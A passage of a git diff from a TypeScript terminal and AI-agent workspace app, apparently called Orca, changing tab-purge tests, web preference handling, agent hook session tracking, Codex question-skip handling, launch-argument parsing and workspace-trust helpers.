-  it('keeps PTY-keyed state for a purged PTY that a kept tab still binds', () => {
-    const f = twin()
-    const shared = f.remote.ptyId
-    // A mixed-host split: the kept local tab also binds the purged copy's PTY.
-    f.store.setState((s) => ({
-      ptyIdsByTabId: { ...s.ptyIdsByTabId, [f.local.terminalTabId]: [f.local.ptyId, shared] },
-      suppressedPtyExitIds: { [shared]: true },
-      pendingPaneAccountRestarts: { [shared]: 'codex' }
-    }))
-
-    f.store
-      .getState()
-      .purgeWorktreeTerminalState([hostWorktreeTarget({ id: f.workspaceKey, ...f.remote })])
-
-    const s = f.store.getState()
-    expect(s.ptyIdsByTabId[f.local.terminalTabId]).toEqual([f.local.ptyId, shared])
-    expect(s.suppressedPtyExitIds).toEqual({ [shared]: true })
-    expect(s.pendingPaneAccountRestarts).toEqual({ [shared]: 'codex' })
-  })
-
-  it('collapses a split the purged copy emptied, handing selection to the survivor', () => {
-    const f = twin()
-    const key = f.workspaceKey
-    f.store.setState((s) => {
-      const [group] = s.groupsByWorktree[key] ?? []
-      if (!group) {
-        throw new Error('fixture has no tab group')
-      }
-      const remoteIds = [f.remote.terminalTabId, f.remote.fileId]
-      return {
-        groupsByWorktree: {
-          [key]: [
-            { ...group, tabOrder: group.tabOrder.filter((id) => !remoteIds.includes(id)) },
-            { ...group, id: 'remote-group', tabOrder: remoteIds, activeTabId: remoteIds[0] }
-          ]
-        },
-        unifiedTabsByWorktree: {
-          [key]: (s.unifiedTabsByWorktree[key] ?? []).map((tab) =>
-            remoteIds.includes(tab.id) ? { ...tab, groupId: 'remote-group' } : tab
-          )
-        },
-        layoutByWorktree: {
-          [key]: {
-            type: 'split',
-            direction: 'horizontal',
-            first: { type: 'leaf', groupId: group.id },
-            second: { type: 'leaf', groupId: 'remote-group' }
-          }
-        },
-        activeGroupIdByWorktree: { [key]: 'remote-group' }
-      }
-    })
-
-    f.store.getState().purgeWorktreeTerminalState([hostWorktreeTarget({ id: key, ...f.remote })])
-
-    const s = f.store.getState()
-    const survivingGroupIds = (s.groupsByWorktree[key] ?? []).map((group) => group.id)
-    expect(survivingGroupIds).not.toContain('remote-group')
-    expect(survivingGroupIds).toHaveLength(1)
-    expect(s.layoutByWorktree[key]).not.toEqual(expect.objectContaining({ type: 'split' }))
-    expect(s.activeGroupIdByWorktree[key]).toBe(survivingGroupIds[0])
-  })
-
-  it('purges everything when no other host publishes the id', () => {
-    const f = twin()
-    const key = f.workspaceKey
-    keepOnlyRemoteRow(f)
-
-    f.store.getState().purgeWorktreeTerminalState([hostWorktreeTarget({ id: key, ...f.remote })])
-
-    const s = f.store.getState()
-    expect(s.tabsByWorktree[key]).toBeUndefined()
-    expect(s.openFiles).toEqual([])
-    expect(s.gitStatusByWorktree[key]).toBeUndefined()
-    expect(hasWorktreeSleepIntent(key)).toBe(false)
-    // Recency stays host-scoped, as before.
-    expect(Object.keys(s.lastVisitedAtByWorktreeId)).toEqual([
-      getWorktreeVisitKey(key, f.local.hostId)
-    ])
-  })
-
-  it('selects a surviving tab when the purged terminal was active', () => {
-    const f = twin()
-    const key = f.workspaceKey
-    f.store.setState((s) => ({
-      activeTabId: f.remote.terminalTabId,
-      activeTabType: 'terminal',
-      groupsByWorktree: {
-        [key]: (s.groupsByWorktree[key] ?? []).map((group) => ({
-          ...group,
-          activeTabId: f.remote.terminalTabId,
-          recentTabIds: [f.local.fileId, f.remote.terminalTabId]
-        }))
-      }
-    }))
-
-    f.store.getState().purgeWorktreeTerminalState([hostWorktreeTarget({ id: key, ...f.remote })])
-
-    const s = f.store.getState()
-    expect(s.groupsByWorktree[key]?.[0]?.activeTabId).toBe(f.local.fileId)
-    expect(s.activeTabType).toBe('editor')
-    expect(s.activeFileId).toBe(f.local.fileId)
-  })
-
-  it("attributes a paired runtime's purge to the SSH copy it reaches", () => {
-    const f = twin()
-    const key = f.workspaceKey
-    const runtimeHostId = `runtime:${TWIN_RUNTIME_ENV}` as const
-    f.store.setState((s) => ({
-      worktreesByRepo: {
-        [f.projectId]: (s.worktreesByRepo[f.projectId] ?? []).map((row) =>
-          row.hostId === f.remote.hostId
-            ? { ...row, runtimeOwnerEnvironmentId: TWIN_RUNTIME_ENV }
-            : row
-        )
-      },
-      lastVisitedAtByWorktreeId: {
-        ...s.lastVisitedAtByWorktreeId,
-        [getWorktreeVisitKey(key, runtimeHostId)]: 3
-      }
-    }))
-
-    f.store
-      .getState()
-      .purgeWorktreeTerminalState([hostWorktreeTarget({ id: key, hostId: runtimeHostId })])
-
-    const s = f.store.getState()
-    expect(s.tabsByWorktree[key]?.map((tab) => tab.id)).toEqual([
-      f.local.terminalTabId,
-      f.dormantTabId
-    ])
-    expect(s.openFiles.map((file) => file.id)).toEqual([f.local.fileId])
-    // Recency written under either identity of the purged copy goes; the twin's stays.
-    expect(Object.keys(s.lastVisitedAtByWorktreeId)).toEqual([
-      getWorktreeVisitKey(key, f.local.hostId)
-    ])
-  })
-
-  it.each([
-    ['drops', 'remote-source.md', 'local-source.md', false],
-    ['keeps', 'shared-source.md', 'shared-source.md', true]
-  ] as const)(
-    "%s a purged preview's source state by whether a surviving file still uses it",
-    (_verb, remoteSource, localSource, kept) => {
-      const f = twin()
-      const key = f.workspaceKey
-      f.store.setState((s) => ({
-        openFiles: s.openFiles.map((file) => ({
-          ...file,
-          markdownPreviewSourceFileId: file.id === f.remote.fileId ? remoteSource : localSource
-        })),
-        editorDrafts: { ...s.editorDrafts, [remoteSource]: 'source draft' }
-      }))
-
-      f.store.getState().purgeWorktreeTerminalState([hostWorktreeTarget({ id: key, ...f.remote })])
-
-      expect(remoteSource in f.store.getState().editorDrafts).toBe(kept)
-      expect(f.store.getState().editorDrafts[f.local.fileId]).toBeDefined()
-    }
-  )
-})
diff --git a/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts b/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts
index 257df898714..7fa3f9fdcfb 100644
--- a/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts
+++ b/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts
@@ -1,8 +1,4 @@
 /** Seed same-ID repo/folder twins on two hosts with live/dormant shells, dirty drafts and sleeping agents. Raw-ID buckets are shared; host-twin-state-projection.test-fixture.ts attributes survivors. */
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
-import type { Repo } from '../../../../../shared/repo-types'
-import type { ProjectGroup } from '../../../../../shared/project-group-types'
-import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import { toRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { toAppSshPtyId } from '../../../../../shared/ssh-pty-id'
 import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
@@ -13,12 +9,16 @@ import { makeTabGroup, makeUnifiedTab } from '../../slices/tabs/tab-group.test-f
 import { makeWorktree } from '../../slices/worktrees/worktree.test-fixture'
 import { makeFolderWorkspace } from '../../folder-workspaces/folder-workspace.test-fixture'
 import { updateNativeChatComposerDraft } from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { markWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import { markWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import {
   beginHugeRepoWarningProbe,
-  markHugeRepoWarningDismissed,
-  type HugeRepoWarningProbe
+  markHugeRepoWarningDismissed
 } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
+import type { HugeRepoWarningProbe } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { ProjectGroup } from '../../../../../shared/project-group-types'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 
 export type HostTwinKind =
   | 'local+ssh'
diff --git a/src/renderer/src/web/main.tsx b/src/renderer/src/web/main.tsx
index d321a7215ce..ff1d2044546 100644
--- a/src/renderer/src/web/main.tsx
+++ b/src/renderer/src/web/main.tsx
@@ -120,6 +120,6 @@ void initWebDeviceKeySupport()
   })
 
 // Prime WebGL here because web hosts terminals too; dynamic import keeps the App/pane-manager graph out of startup.
-void import('../lib/pane-manager/pane-webgl-renderer').then((module) =>
-  module.primeTerminalWebglAddon()
-)
+void import('../lib/pane-manager/terminal-rendering/pane-webgl-renderer')
+  .then(() => import('../lib/pane-manager/terminal-rendering/terminal-webgl-addon-loader'))
+  .then(({ primeTerminalWebglAddon }) => primeTerminalWebglAddon())
diff --git a/src/renderer/src/web/preload-api/web-floating-workspace-setting.test.ts b/src/renderer/src/web/preload-api/web-floating-workspace-setting.test.ts
deleted file mode 100644
index 0688bb9ad33..00000000000
--- a/src/renderer/src/web/preload-api/web-floating-workspace-setting.test.ts
+++ /dev/null
@@ -1,19 +0,0 @@
-// @vitest-environment happy-dom
-import { beforeEach, expect, it, vi } from 'vitest'
-import { getStoredSettings } from './web-preferences-store'
-import { SETTINGS_STORAGE_KEY } from './web-storage'
-
-vi.mock('./web-runtime-session', () => ({
-  webRuntimeState: { activeEnvironment: null },
-  requireActiveEnvironmentOrNull: () => null
-}))
-
-beforeEach(() => localStorage.clear())
-
-// #40268: an older web build could store the floating workspace as on, which left a panel whose
-// terminal and Markdown actions did nothing.
-it('never reports the floating workspace as on in the browser client', () => {
-  localStorage.setItem(SETTINGS_STORAGE_KEY, JSON.stringify({ floatingTerminalEnabled: true }))
-
-  expect(getStoredSettings().floatingTerminalEnabled).toBe(false)
-})
diff --git a/src/renderer/src/web/preload-api/web-preference-normalization.ts b/src/renderer/src/web/preload-api/web-preference-normalization.ts
index c784e3efa95..483e638492a 100644
--- a/src/renderer/src/web/preload-api/web-preference-normalization.ts
+++ b/src/renderer/src/web/preload-api/web-preference-normalization.ts
@@ -30,6 +30,7 @@ import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import type { PairedUiState, PairingLocalUiField } from '../../../../shared/pairing-local-ui-fields'
 import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types'
 import { normalizeStatusBarUsageMode } from '../../../../shared/status-bar-usage-mode'
+import { normalizeStatusBarUsageFormat } from '../../../../shared/status-bar-usage-format'
 import { normalizeTerminalCustomThemes } from '../../../../shared/terminal-themes/terminal-custom-themes'
 import { splitLegacyTerminalColorOverrides } from '../../../../shared/terminal-themes/terminal-color-overrides'
 import {
@@ -77,6 +78,9 @@ export function mergeWebUIState(
     ),
     statusBarUsageMode: normalizeStatusBarUsageMode(
       safeUpdates.statusBarUsageMode ?? base.statusBarUsageMode
+    ),
+    statusBarUsageFormat: normalizeStatusBarUsageFormat(
+      safeUpdates.statusBarUsageFormat ?? base.statusBarUsageFormat
     )
   }
 }
diff --git a/src/renderer/src/web/preload-api/web-preferences-store.ts b/src/renderer/src/web/preload-api/web-preferences-store.ts
index 65b2a3f65d8..e06f0135613 100644
--- a/src/renderer/src/web/preload-api/web-preferences-store.ts
+++ b/src/renderer/src/web/preload-api/web-preferences-store.ts
@@ -33,7 +33,7 @@ type SettingsResult = { settings: Partial<GlobalSettings> }
 
 export function getStoredSettings(): GlobalSettings {
   webRuntimeState.activeEnvironment ??= readStoredWebRuntimeEnvironment()
-  const defaults = getDefaultSettings('~')
+  const defaults = { ...getDefaultSettings('~'), artifactSharingEnabled: false } // Host grants it.
   const rawStoredSettings = window.localStorage.getItem(SETTINGS_STORAGE_KEY)
   const stored = readJson<Partial<GlobalSettings>>(SETTINGS_STORAGE_KEY, {})
   const migratedStored = migrateStoredWebSettings(stored)
diff --git a/src/renderer/src/web/preload-api/web-runtime-environments-api.ts b/src/renderer/src/web/preload-api/web-runtime-environments-api.ts
index d93a5051954..f1228dd392f 100644
--- a/src/renderer/src/web/preload-api/web-runtime-environments-api.ts
+++ b/src/renderer/src/web/preload-api/web-runtime-environments-api.ts
@@ -18,7 +18,7 @@ import {
   saveStoredWebRuntimeEnvironment
 } from '../web-runtime-environment'
 import { translate } from '@/i18n/i18n'
-import { translateHostAccessLinkError } from '@/lib/remote-pairing-copy'
+import { translateHostAccessLinkError } from '@/lib/remote-pairing/remote-pairing-copy'
 import {
   assertEnvironmentPairing,
   callEnvironmentEnvelope,
diff --git a/src/renderer/src/web/preload-api/web-worktrees-api.ts b/src/renderer/src/web/preload-api/web-worktrees-api.ts
index 85a06a72a75..961e52ceb23 100644
--- a/src/renderer/src/web/preload-api/web-worktrees-api.ts
+++ b/src/renderer/src/web/preload-api/web-worktrees-api.ts
@@ -267,6 +267,7 @@ export function createWorktreesApi(): NonNullable<Partial<PreloadApi>['worktrees
     onChanged: () => noopUnsubscribe,
     onGitStatusMetadataChanged: () => noopUnsubscribe,
     onHeadIdentitiesChanged: () => noopUnsubscribe,
+    onMetadataSet: () => noopUnsubscribe,
     onBaseStatus: () => noopUnsubscribe,
     onRemoteBranchConflict: () => noopUnsubscribe
   }
diff --git a/src/renderer/src/web/web-preload-api-runtime-calls.test.ts b/src/renderer/src/web/web-preload-api-runtime-calls.test.ts
index 723cd635f7f..2cbf682efdd 100644
--- a/src/renderer/src/web/web-preload-api-runtime-calls.test.ts
+++ b/src/renderer/src/web/web-preload-api-runtime-calls.test.ts
@@ -17,43 +17,6 @@ describe('web preload runtime calls', () => {
     vi.doUnmock('./web-runtime-client')
   })
 
-  it('surfaces per-environment queue overload without invoking the client', async () => {
-    let release!: () => void
-    const blocked = new Promise<RuntimeRpcResponse<unknown>>((resolve) => {
-      release = () =>
-        resolve({
-          id: 'runtime.blocked',
-          ok: true,
-          result: null,
-          _meta: { runtimeId: 'runtime-a' }
-        })
-    })
-    const call = vi.fn(() => blocked)
-    vi.doMock('./web-runtime-client', () => ({
-      WebRuntimeClient: class {
-        call = call
-        close(): void {}
-      }
-    }))
-    const globals = installBrowserGlobals('Linux')
-    writeStoredRuntimeEnvironment(globals.storage, 'web-server-a')
-    const { installWebPreloadApi } = await import('./web-preload-api')
-    installWebPreloadApi()
-
-    const accepted = Array.from({ length: 264 }, (_, index) =>
-      globals.window.api.runtime.call({ method: `runtime.blocked.${index}` })
-    )
-    const overloaded = globals.window.api.runtime.call({ method: 'runtime.overloaded' })
-
-    await expect(overloaded).rejects.toMatchObject({
-      code: 'runtime_rpc_queue_overloaded',
-      scope: 'selector'
-    })
-    expect(call).toHaveBeenCalledTimes(8)
-    release()
-    await expect(Promise.all(accepted)).resolves.toHaveLength(264)
-  })
-
   it('revokes unsent work and refuses queued or delivered work after pairing replacement', async () => {
     let release!: () => void
     const blocked = new Promise<RuntimeRpcResponse<unknown>>((resolve) => {
diff --git a/src/shared/agent-hook-listener/pane-provider-session.ts b/src/shared/agent-hook-listener/pane-provider-session.ts
index 2c2cdc3bc69..878f93b885b 100644
--- a/src/shared/agent-hook-listener/pane-provider-session.ts
+++ b/src/shared/agent-hook-listener/pane-provider-session.ts
@@ -74,6 +74,14 @@ function readPaneProviderSession(
   if (!providerSession) {
     return null
   }
+  if (source === 'droid') {
+    const previous = state.lastStatusByPaneKey.get(paneKey)
+    const owner = previous?.payload.agentType === 'droid' ? previous.providerSession : undefined
+    if (owner?.id !== providerSession.id && isDroidSubSession(hookPayload)) {
+      // Sub-droids inherit the pane, so a worker's hook keeps the orchestrator's session.
+      return owner ?? null
+    }
+  }
   if (source === 'antigravity') {
     const transcriptPath = readPathFromKeys(hookPayload, ['transcriptPath', 'transcript_path'])
     const origin = transcriptPath ? readFirstTranscriptRecord(transcriptPath) : undefined
@@ -106,6 +114,19 @@ function readPaneProviderSession(
   }
 }
 
+/** Droid marks a sub-session only in its transcript's first record. */
+function isDroidSubSession(hookPayload: Record<string, unknown>): boolean {
+  const transcriptPath = readPathFromKeys(hookPayload, ['transcriptPath', 'transcript_path'])
+  const origin = transcriptPath ? readFirstTranscriptRecord(transcriptPath) : undefined
+  return (
+    typeof origin === 'object' &&
+    origin !== null &&
+    'callingSessionId' in origin &&
+    typeof origin.callingSessionId === 'string' &&
+    origin.callingSessionId.length > 0
+  )
+}
+
 /** The pane's previous session when this hook continues it; /clear and compact restart Claude in the same process. */
 function continuedProviderSession(
   state: HookListenerState,
@@ -243,7 +264,7 @@ export function retainHookRootContext(
     previous.payload.agentType === incoming.payload.agentType &&
     ((incoming.payload.agentType === 'codex' && incoming.toolAgentId) ||
       (fromHook &&
-        ['copilot', 'hermes', 'antigravity'].includes(incoming.payload.agentType ?? '') &&
+        ['copilot', 'hermes', 'antigravity', 'droid'].includes(incoming.payload.agentType ?? '') &&
         sameTerminalOwner))
       ? previous
       : undefined
diff --git a/src/shared/agent-hook-listener/providers/codex-async-questions.ts b/src/shared/agent-hook-listener/providers/codex-async-questions.ts
index 8e13c291fc2..4f0e47921f9 100644
--- a/src/shared/agent-hook-listener/providers/codex-async-questions.ts
+++ b/src/shared/agent-hook-listener/providers/codex-async-questions.ts
@@ -24,8 +24,7 @@ export type CodexPendingAsyncQuestion = { toolName: string; prompt: string }
 /**
  * Codex asks a non-blocking question mid-turn: its status stays working, PostToolUse lands ~20 ms
  * after PreToolUse, and each answer arrives as a UserPromptSubmit reply. Only the hooks show it,
- * so track it here. A skip (Ctrl+]) sends no hook and stays pending until the turn ends or the
- * user sends a plain message.
+ * so track it here. A skip (Ctrl+]) sends no hook; Orca infers it from the keystroke.
  */
 export function trackCodexAsyncQuestions(
   state: HookListenerState,
@@ -58,6 +57,27 @@ export function pendingCodexAsyncQuestion(
   return newest ? { toolName: CODEX_ASYNC_QUESTION_TOOL, prompt: newest.prompt } : undefined
 }
 
+/** Codex's TUI skips the focused question, which is the oldest unless the user navigated. */
+export function skipCodexAsyncQuestion(state: HookListenerState, paneKey: string): boolean {
+  const calls = state.codexAsyncQuestionsByPaneKey.get(paneKey)
+  const oldest = calls?.entries().next().value
+  if (!calls || !oldest) {
+    return false
+  }
+  const [callId, call] = oldest
+  const index = call.unanswered.values().next().value
+  if (index !== undefined) {
+    call.unanswered.delete(index)
+  }
+  if (call.unanswered.size === 0) {
+    calls.delete(callId)
+  }
+  if (calls.size === 0) {
+    state.codexAsyncQuestionsByPaneKey.delete(paneKey)
+  }
+  return true
+}
+
 function openCall(
   state: HookListenerState,
   paneKey: string,
diff --git a/src/shared/agent-hook-listener/providers/codex-question-skip.ts b/src/shared/agent-hook-listener/providers/codex-question-skip.ts
new file mode 100644
index 00000000000..cce40781eb0
--- /dev/null
+++ b/src/shared/agent-hook-listener/providers/codex-question-skip.ts
@@ -0,0 +1,46 @@
+import type { AgentHookEventPayload } from '../listener-event'
+import type { HookListenerState } from '../listener-state'
+import { pendingCodexAsyncQuestion, skipCodexAsyncQuestion } from './codex-async-questions'
+import { buildCodexStatusPayload } from './codex-events'
+import { resolveCodexPaneStatus, setCodexMainAgentTurnState } from './codex-state'
+
+/** Restate a local Codex row after the user skips its focused async question; null when none was
+ *  open. Codex keeps working behind the question, so only the open question held the row waiting. */
+export function codexRowAfterQuestionSkip(
+  state: HookListenerState,
+  row: AgentHookEventPayload
+): AgentHookEventPayload | null {
+  const lead = state.codexLeadStateByPaneKey.get(row.paneKey)
+  // A relayed pane's questions are tracked on its execution host, out of reach here.
+  if (row.connectionId || !lead || !skipCodexAsyncQuestion(state, row.paneKey)) {
+    return null
+  }
+  const record = pendingCodexAsyncQuestion(state, row.paneKey)
+    ? lead
+    : setCodexMainAgentTurnState(state, row.paneKey, { state: 'working', model: lead.model })
+  const payload = buildCodexStatusPayload(
+    state,
+    undefined,
+    '',
+    row.paneKey,
+    {},
+    {
+      ...resolveCodexPaneStatus(state, row.paneKey, record),
+      updateLead: false
+    }
+  )
+  // Carry only the row's identity, as Orca's other inferred restatements do.
+  return (
+    payload && {
+      paneKey: row.paneKey,
+      tabId: row.tabId,
+      worktreeId: row.worktreeId,
+      connectionId: row.connectionId,
+      providerSession: row.providerSession,
+      launchToken: row.launchToken,
+      hostTurnRevision: row.hostTurnRevision,
+      source: row.source,
+      payload
+    }
+  )
+}
diff --git a/src/shared/agent-launch/choices/agent-choice-args-analysis.ts b/src/shared/agent-launch/choices/agent-choice-args-analysis.ts
index 1fa1a11df5d..4fa9dd43a21 100644
--- a/src/shared/agent-launch/choices/agent-choice-args-analysis.ts
+++ b/src/shared/agent-launch/choices/agent-choice-args-analysis.ts
@@ -12,20 +12,10 @@ import {
   type AgentStartupShell
 } from '../startup/tui-agent-startup-shell'
 import type { TuiAgent } from '../catalog/tui-agent'
+import type { ChoiceOccurrence } from './agent-launch-choices'
 import { agentChoiceConfigString, agentChoiceConfigValue } from './agent-choice-cli-apply'
 
-export type ChoiceOccurrence = {
-  key: string
-  value: string
-  valueType?: 'string' | 'boolean'
-  source?: boolean
-  words: string[]
-  start: number
-  end: number
-  lift: boolean
-  owned: boolean
-  replacement?: string
-}
+export type { ChoiceOccurrence } from './agent-launch-choices'
 
 /** Every cut uses the original spans and preserves operand roles in its consuming grammar. */
 export function analyzeChoiceArgs(
@@ -137,6 +127,10 @@ export function analyzeChoiceArgs(
             (!inline || name.startsWith('--')) &&
             !!value &&
             !value.startsWith('-')
+          if (form.kind === 'value' && form.recognizes?.(value) === false) {
+            valueType = undefined
+            lift = false
+          }
           if (form.kind === 'settings') {
             const effective = effectiveSettings.get(form)
             if (effective?.index !== index || opaqueKeys.has(key)) {
diff --git a/src/shared/agent-launch/choices/agent-choice-cli-apply.test.ts b/src/shared/agent-launch/choices/agent-choice-cli-apply.test.ts
index cb4437434a3..93ad6c02439 100644
--- a/src/shared/agent-launch/choices/agent-choice-cli-apply.test.ts
+++ b/src/shared/agent-launch/choices/agent-choice-cli-apply.test.ts
@@ -92,3 +92,26 @@ it.each(['true', '42', '["high"]', '{key="high"}'])(
     expect(result.userArgs).toBe(userArgs)
   }
 )
+
+it('keeps a Pi model in Arguments literal so chats never receive a CLI pattern', () => {
+  const lift = (userArgs: string) =>
+    reconcileAgentChoiceArgsDetailed({
+      agent: 'pi',
+      userArgs,
+      choices: {},
+      mode: 'arguments-edit',
+      keys
+    })
+  for (const userArgs of [
+    '--model sonnet:high',
+    '--model anthropic/sonnet',
+    '--model anthropic/claude-opus-5-5',
+    '--provider openai --model gpt-6',
+    '--thinking ultra'
+  ]) {
+    const result = lift(userArgs)
+    expect(result.recognized).toEqual([])
+    expect(result.choices).toEqual({})
+    expect(result.userArgs).toBe(userArgs)
+  }
+})
diff --git a/src/shared/agent-launch/choices/agent-launch-choices.ts b/src/shared/agent-launch/choices/agent-launch-choices.ts
index 89b0b4767b6..0b720887af8 100644
--- a/src/shared/agent-launch/choices/agent-launch-choices.ts
+++ b/src/shared/agent-launch/choices/agent-launch-choices.ts
@@ -25,11 +25,31 @@ export function terminalAgentChoices(
 
 export type AgentLaunchChoices = Partial<Record<TuiAgent, AgentModelOptionChoices>>
 export type AgentChoiceCliForm =
-  | { kind: 'value'; names: readonly string[]; lift: 'separate-and-long-equals' | 'never' }
+  | {
+      kind: 'value'
+      names: readonly string[]
+      lift: 'separate-and-long-equals' | 'never'
+      /** Values outside the choice's grammar stay literal arguments instead of becoming choices. */
+      recognizes?: (value: string) => boolean
+    }
   | { kind: 'config'; names: readonly string[]; key: string; lift: 'codex-bare-string' | 'never' }
   | { kind: 'settings'; names: readonly string[]; key: string; lift: 'merged-json' }
   | { kind: 'recipe'; words: readonly string[]; value: AgentPermissionChoice }
 
+/** One choice flag found in free-form agent arguments. */
+export type ChoiceOccurrence = {
+  key: string
+  value: string
+  valueType?: 'string' | 'boolean'
+  source?: boolean
+  words: string[]
+  start: number
+  end: number
+  lift: boolean
+  owned: boolean
+  replacement?: string
+}
+
 export function normalizeAgentModelOptionChoices(
   value: unknown
 ): AgentModelOptionChoices | undefined {
diff --git a/src/shared/agent-launch/permissions/agent-workspace-trust-decision.ts b/src/shared/agent-launch/permissions/agent-workspace-trust-decision.ts
index fc7aefaf38e..31819184293 100644
--- a/src/shared/agent-launch/permissions/agent-workspace-trust-decision.ts
+++ b/src/shared/agent-launch/permissions/agent-workspace-trust-decision.ts
@@ -1,5 +1,5 @@
 export type AgentWorkspaceTrustSettings = {
-  /** Off: never pre-trust. On: pre-trust per each repo's decision (asked on first desktop launch). Defaults on. */
+  /** Off: never pre-trust. On: pre-trust unless the repo opted out. Defaults on. */
   agentWorkspaceTrustEnabled: boolean
   /** One-shot guard: repos saved before per-repo trust decisions were pinned to pre-trust. */
   agentWorkspaceTrustExistingReposMigrated?: boolean
@@ -14,7 +14,7 @@ export function sanitizeAgentWorkspaceTrustDecision(
   return value === 'pre-trust' || value === 'agent-asks' ? value : undefined
 }
 
-/** Global off always wins; an undecided repo keeps the pre-existing pre-trust default so unattended launches never stall. */
+/** Global off always wins; a repo is pre-trusted unless it opted out. */
 export function shouldPreTrustAgentWorkspace(
   globalEnabled: boolean | undefined,
   repoDecision: AgentWorkspaceTrustDecision | undefined
@@ -22,14 +22,6 @@ export function shouldPreTrustAgentWorkspace(
   return globalEnabled !== false && repoDecision !== 'agent-asks'
 }
 
-/** Only a launch the user is watching asks; it must settle before the spawn reads the answer. */
-export function needsAgentWorkspaceTrustDecision(
-  globalEnabled: boolean | undefined,
-  repoDecision: AgentWorkspaceTrustDecision | undefined
-): boolean {
-  return globalEnabled !== false && repoDecision === undefined
-}
-
 export function resolveAgentWorkspaceTrustOwner(args: {
   worktreeId?: string
   trustWorktreeId?: string
diff --git a/src/shared/agent-launch/picker/agent-launch-picker-catalog.ts b/src/shared/agent-launch/picker/agent-launch-picker-catalog.ts
index e79be6149ef..471f07ffece 100644
--- a/src/shared/agent-launch/picker/agent-launch-picker-catalog.ts
+++ b/src/shared/agent-launch/picker/agent-launch-picker-catalog.ts
@@ -24,7 +24,7 @@ export function agentPickerOptions(
 }
 
 export function agentPickerEntryOptions(
-  entry: AgentPickerEntry,
+  entry: Pick<AgentPickerEntry, 'agent' | 'catalog' | 'terminal' | 'textGeneration'>,
   model: string | undefined,
   surface: AgentPickerSurface
 ): CatalogOption[] {
@@ -102,7 +102,9 @@ export function agentPickerPermissions(agent: TuiAgent, surface: AgentPickerSurf
   )
 }
 
-export function agentPickerModels(entry: AgentPickerEntry): AgentPickerModel[] {
+export function agentPickerModels(
+  entry: Pick<AgentPickerEntry, 'agent' | 'catalog'>
+): AgentPickerModel[] {
   if (entry.catalog.origin !== 'unknown') {
     return entry.catalog.models
   }
diff --git a/src/shared/agent-launch/startup/claude-chat-entrypoint.test.ts b/src/shared/agent-launch/startup/claude-chat-entrypoint.test.ts
deleted file mode 100644
index 79280bc9271..00000000000
--- a/src/shared/agent-launch/startup/claude-chat-entrypoint.test.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-import { expect, it } from 'vitest'
-import { withOrcaClaudeChatEntrypoint } from './claude-chat-entrypoint'
-
-it('gives the SDK one exact chat identity after differently cased configured values', () => {
-  expect(
-    withOrcaClaudeChatEntrypoint(
-      {
-        CLAUDE_CODE_ENTRYPOINT: 'sdk-ts',
-        claude_code_entrypoint: 'configured',
-        PATH: 'C:\\bin',
-        CLAUDE_CODE_SESSION_ID: 'deliberate'
-      },
-      'win32'
-    )
-  ).toEqual({
-    CLAUDE_CODE_ENTRYPOINT: 'orca',
-    PATH: 'C:\\bin',
-    CLAUDE_CODE_SESSION_ID: 'deliberate'
-  })
-})
diff --git a/src/shared/agent-launch/startup/tui-agent-startup-session-options.spec.ts b/src/shared/agent-launch/startup/tui-agent-startup-session-options.spec.ts
index 2a199d505a6..275cad464cc 100644
--- a/src/shared/agent-launch/startup/tui-agent-startup-session-options.spec.ts
+++ b/src/shared/agent-launch/startup/tui-agent-startup-session-options.spec.ts
@@ -41,6 +41,22 @@ describe('tui agent startup session options', () => {
     expect(plan?.sessionOptions).toEqual({ model: 'zai-coding-plan/glm-5.3-flash' })
   })
 
+  it('starts Pi on the picked model and thinking level in place of its configured ones', () => {
+    const plan = buildAgentStartupPlan({
+      agent: 'pi',
+      prompt: '',
+      cmdOverrides: {},
+      platform: 'linux',
+      allowEmptyPromptLaunch: true,
+      sessionOptions: { model: 'anthropic/claude-opus-5-5', effort: 'high' },
+      sessionOptionsOverrideAgentArgs: true,
+      agentArgs: '--model openai/gpt-6 --thinking low --no-skills'
+    })
+    expect(plan?.launchCommand).toBe(
+      "pi '--no-skills' '--model' 'anthropic/claude-opus-5-5' '--thinking' 'high'"
+    )
+  })
+
   it('rejects conflicting singleton flags in an agent command override', () => {
     expect(
       resolveAgentLaunchCommand({
diff --git a/src/shared/agent-session-handoff-context.ts b/src/shared/agent-session-handoff-context.ts
index 0bdf19963c8..f7fbc891669 100644
--- a/src/shared/agent-session-handoff-context.ts
+++ b/src/shared/agent-session-handoff-context.ts
@@ -11,6 +11,7 @@ import { MAX_CONTEXT_CHARS } from './agent-session/requests/agent-session-contex
 import { agentJournalToolCallLifecycle } from './agent-journal-tool-call-lifecycle'
 import { withoutNativeChatVisualDirectiveLines } from './native-chat/native-chat-visual-directive'
 import { workerTranscriptBlockFallbacks } from './worker-transcript-text'
+import { isInlineDataUrl } from './native-chat/native-chat-inline-data-url'
 
 const MAX_TOOL_CHARS = 8_000
 const MAX_MESSAGE_CHARS = 8_000
@@ -74,7 +75,7 @@ function prioritizeConversation(messages: readonly NativeChatMessage[]): Convers
         text =
           message.role === 'user' ? block.text : withoutNativeChatVisualDirectiveLines(block.text)
       } else if (block.type === 'image-ref') {
-        text = `[image] ${excerpt(block.path ?? block.url ?? block.alt ?? 'image omitted', MAX_MESSAGE_CHARS / 2)}`
+        text = `[image] ${excerpt(block.path ?? (block.url && !isInlineDataUrl(block.url) ? block.url : null) ?? block.alt ?? 'image omitted', MAX_MESSAGE_CHARS / 2)}`
       }
       return text.trim() ? [{ messageIndex, blockIndex, text }] : []
     })
